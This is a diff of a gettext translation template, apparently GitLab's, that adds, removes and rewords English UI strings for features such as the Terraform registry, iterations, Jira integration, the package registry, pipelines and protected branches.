msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
